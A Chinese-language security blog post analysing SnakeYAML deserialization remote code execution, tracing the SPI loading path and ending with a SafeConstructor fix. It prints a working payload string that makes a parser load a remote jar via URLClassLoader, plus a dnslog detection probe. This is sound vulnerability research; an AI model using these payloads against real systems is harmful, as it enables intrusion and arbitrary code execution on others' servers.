Java安全之SnakeYaml反序列化分析
0x00 前言
偶然间看到SnakeYaml
的资料感觉挺有意思,发现SnakeYaml
也存在反序列化利用的问题。借此来分析一波。
0x01 SnakeYaml 使用
SnakeYaml 简介
SnakeYaml
是用来解析yaml的格式,可用于Java对象的序列化、反序列化。
SnakeYaml 使用
导入依赖jar包
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
常用方法
String dump(Object data)
将Java对象序列化为YAML字符串。
void dump(Object data, Writer output)
将Java对象序列化为YAML流。
String dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
序列化
Myclass类:
package test;
public class MyClass {
String value;
public MyClass(String args) {
value = args;
}
public String getValue(){
return value;
}
}
Test类:
@Test
public void test() {
MyClass obj = new MyClass("this is my data");
Map<String, Object> data = new HashMap<String, Object>();
data.put("MyClass", obj);
Yaml yaml = new Yaml();
String output = yaml.dump(data);
System.out.println(output);
}
}
结果:
MyClass: !!test.MyClass {}
前面的!!
是用于强制类型转化,强制转换为!!
后指定的类型,其实这个和Fastjson的@type
有着异曲同工之妙。用于指定反序列化的全类名。
反序列化
yaml文件:
firstName: "John"
lastName: "Doe"
age: 20
测试类:
@Test
public void test(){
Yaml yaml = new Yaml();
InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test1.yaml");
Object load = yaml.load(resourceAsStream);
System.out.println(load);
}
}
执行结果:
{firstName=John, lastName=Doe, age=20}
0x02 漏洞分析
漏洞复现
首先还是先来复现一下漏洞,能进行利用后再进行分析利用过程。
下面来看到一段POC代码:
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://fnsdae.dnslog.cn"]]]]
";
Yaml yaml = new Yaml();
yaml.load(context);
}
}
成功获取dnslog请求,但是这poc也只能探测是否进行了反序列化。如果需要利用的话还需要构造命令执行的代码。
利用脚本其实已经有师傅写好了。转到这个github项目下下载该项目。打开修改代码。
脚本也比较简单,就是实现了ScriptEngineFactory
接口,然后在静态代码块处填写需要执行的命令。将项目打包后挂载到web端,使用payload进行反序列化后请求到该位置,实现java.net.URLClassLoader
调用远程的类进行执行命令。
python -m http.server --cgi 8888
测试代码:
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [
" +
" !!java.net.URLClassLoader [[
" +
" !!java.net.URL ["http://127.0.0.1:8888/yaml-payload-master.jar"]
" +
" ]]
" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
}
命令执行成功。
SPI机制
在漏洞分析前先来了解一下SPI机制,在前面使用的执行代码的payload中看到使用ScriptEngineManager
类来进行构造,其实ScriptEngineManager
利用的的底层也是SPI机制。
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。
那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/
目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。
在第一次听说SPI还是在看JDBC底层实现的时候,但是并没有去做多的了解。这里拿JDBC来举个例子。
SPI是一种动态替换发现的机制,比如有个接口,想运行时动态的给它添加实现,你只需要添加一个实现。
来看到连接驱动的jar包,这里就是在Java classpath 下的 META-INF/services/
定义实现类。
而数据库有很多种类型,而实现方式不尽相同,而在实现各种连接驱动的时候,只需要添加java.sql.Driver
实现接口,然后Java的SPI机制可以为某个接口寻找服务实现,就实现了各种数据库的驱动连接。
实现细节:程序会java.util.ServiceLoder
动态装载实现模块,在META-INF/services
目录下的配置文件寻找实现类的类名,通过Class.forName
加载进来,newInstance()
反射创建对象,并存到缓存和列表里面。
漏洞分析
先来简单讲讲我理解的该漏洞利用的过程,建立在未对该漏洞分析前。
前面说到SPI会通过java.util.ServiceLoder
进行动态加载实现,而在刚刚的exp的代码里面实现了ScriptEngineFactory
并在META-INF/services/
里面添加了实现类的类名,而该类在静态代码块处是我们的执行命令的代码,而在调用的时候,SPI机制通过Class.forName
反射加载并且newInstance()
反射创建对象的时候,静态代码块进行执行,从而达到命令执行的目的。
下面开始调试分析漏洞,在漏洞位置下断点
这里调用this.loadFromReader
跟踪查看
以上就是各种赋值,需要注意的是数据的流向,这里没啥好看的,来步进到下面,下面的返回值调用constructor.getSingleData
跟踪。
这里并没有走到判断体里面而是直接返回并且调用了this.constructDocument()
,跟进。
这里调用this.constructObject
就返回了一个Object对象,所以继续从这个方法跟进进去,查看实现。
跟进constructObjectNoCheck
这个点先跟踪 getConstructor
这里还是返回了一个反射的class对象,继续跟。
这里获取了name的值为javax.script.ScriptEngineManager
,然后调用getClassForName
对name进行传入获取cl的class对象。跟踪getClassForName
。
在这里就可以看到使用反射创建了一个javax.script.ScriptEngineManager
对象的具体实现,而后面代码则是一些赋值的。执行到下一步来到了这个。
跟踪construct
方法查看,到了这部分其实就已经到了关键部分。
看到这段代码创建了一个array数组,并且调用node.getType.getDeclaredConstructors();
赋值给arr$
数组,回想前面的分析中,获取的name,也就是利用了javax.script.ScriptEngineManager
,Class.forName
进行创建反射对象并且赋值给note的type里面。而后这里getDeclaredConstructors()
获取它的无参构造方法。
然后将获取到的arr数组添加到possibleConstructors
而后将获取到的possibleConstructors
获取到的第一个数组进行赋值并转换成Constructor
类型
这里回去遍历获取snode的值。
这里进行使用反射实例化对象。
到了这里以为就结束了嘛?不是的,其实我们现在只是知道了javax.script.ScriptEngineManager
是如何进行实例化的,但我们并不知道javax.script.ScriptEngineManager
实例化后是如何触发的代码执行。下面可以来跟踪一下SPI机制是怎么实现的。
在前面反射调用无参构造方法后,会走到这里,下面调用init方法跟踪一下。
跟踪
看到这里其实就和前面讲到的SPI机制一样,调用getServiceLoader
动态加载类,这里先在慢慢往下看
跟进该地方会看到调用hasNextService
方法
这里会去META-INF/services/javax.script.ScriptEngineFactory
获取实现类的信息
下面再来跟进itr.text
这里会去实例化接口的实现类
走到这一步命令执行成功。
0x03 漏洞修复
其实该漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击
修复方案:加入new SafeConstructor()
类进行过滤
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [
" +
" !!java.net.URLClassLoader [[
" +
" !!java.net.URL ["http://127.0.0.1:8888/yaml-payload-master.jar"]
" +
" ]]
" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}
}
再次进行反序列化会抛异常。
再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。
0x04 结尾
在审计中其实就可以直接定位yaml.load();
,然后进行回溯,如若参数可控,那么就可以尝试传入payload。但又出现另外一个问题,假如不出网的情况,是不是有很好的解决方案呢?